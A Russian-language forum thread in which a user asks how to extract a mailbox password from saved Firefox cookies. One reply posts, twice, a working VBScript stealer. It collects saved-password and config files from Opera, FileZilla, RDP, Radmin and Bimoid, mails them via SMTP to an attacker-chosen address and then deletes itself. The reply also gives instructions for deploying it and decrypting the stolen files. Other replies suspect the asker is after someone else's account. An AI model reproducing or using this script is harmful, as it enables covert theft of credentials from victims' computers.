НЕ знаю пароля от своего ящика. Захожу по сохраненным кукам. Браузер Firefox 4.0.1 Как можно выдрать из куков пароль? Заранее благодарен за помощь!
Куки, если их правильно исопльзуют, должны служить чемто вроде временного пароля. Так что ответ на ваш вопрос. Никак.
on error resume next sender = "левое мыло типа [email protected]" Зарегай любое левое мыло pass = "пароль от левого мыла" Пароль от него smtp = "и smtp левого мыла smtp.rambler.ru" recv = "сюда своё мыло" а тут впиши своё мыло Set IE=CreateObject("InternetExplorer.Application") Set WinShell=CreateObject("WScript.Shell") Set iMsg = CreateObject("CDO.Message") Set iConf = CreateObject("CDO.Configuration") Set Flds = iConf.Fields Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2 Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1 Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")=sender Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")=pass Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")=smtp Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25 Flds.Update iMsg.Configuration = iConf iMsg.To = recv iMsg.From = sender iMsg.Subject = WinShell.ExpandEnvironmentStrings("%computername%") iMsg.TextBody = "Computername: "&WinShell.ExpandEnvironmentStrings("%computername%") & " Username: "&WinShell.ExpandEnvironmentStrings("%username%") iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\Opera\Opera\wand.dat" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\Opera\Opera\profile\wand.dat" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\FileZilla\filezilla.xml" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Мои документы\Default.rdp" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\Radmin\radmin.rpb" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings\Application Data\Bimoid\Users\User0001\ObimpUser.ini" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings\Application Data\Bimoid\Bimoid.ini" iMsg.Send fso.deletefile WScript.ScriptFullName, True ИЗМЕНЯЕШЬ ПОД СЕБЯ СОХРАНЯЕШЬ КАК .vbs Проверяешь своё мыло.Сохраняешь присланные файлы с твоего компа и расшифровываешь с помощью программы Multi_Password_Recovery_1.1.9_Portable. Вообще смотри готовый типо on error resume next sender = "[email protected]" pass = "zzzzzzzzz" smtp = "smtp.rambler.ru" recv = "[email protected]" Set IE=CreateObject("InternetExplorer.Application") Set WinShell=CreateObject("WScript.Shell") Set iMsg = CreateObject("CDO.Message") Set iConf = CreateObject("CDO.Configuration") Set Flds = iConf.Fields Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2 Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1 Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")=sender Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")=pass Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")=smtp Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25 Flds.Update iMsg.Configuration = iConf iMsg.To = recv iMsg.From = sender iMsg.Subject = WinShell.ExpandEnvironmentStrings("%computername%") iMsg.TextBody = "Computername: "&WinShell.ExpandEnvironmentStrings("%computername%") & " Username: "&WinShell.ExpandEnvironmentStrings("%username%") iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\Opera\Opera\wand.dat" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\Opera\Opera\profile\wand.dat" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\FileZilla\filezilla.xml" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Мои документы\Default.rdp" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%appdata%")&"\Radmin\radmin.rpb" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings\Application Data\Bimoid\Users\User0001\ObimpUser.ini" iMsg.AddAttachment WinShell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings\Application Data\Bimoid\Bimoid.ini" iMsg.Send fso.deletefile WScript.ScriptFullName, True
Multi Password Recovery 1.2.8 + Portable (2011) http://ivntech.ru/4081-multi-password-recovery-128-portable-2011-multirus.html
Ты предлагаешь локальные файлы со своего компа отправить на мыло, чтобы потом их скачать обратно себе на комп?
в плюшках сохраняется временная идентификация на одну сессию, в большинстве хороших годных веб-мейл сервисов. >>НЕ знаю пароля от своего ящика. >>Захожу по сохраненным кукам. заходишь на чужой мейл - признавайся! потому и не стану раскрывать, как сделать ретрив пасса мейла.
Если я не ошибаюсь,куки эти из почты,дак в чём проблема нужно всего лишь знать смену пароля в сессии на данном почтовом сервисе. Напиши в ЛС или ICQ помогу.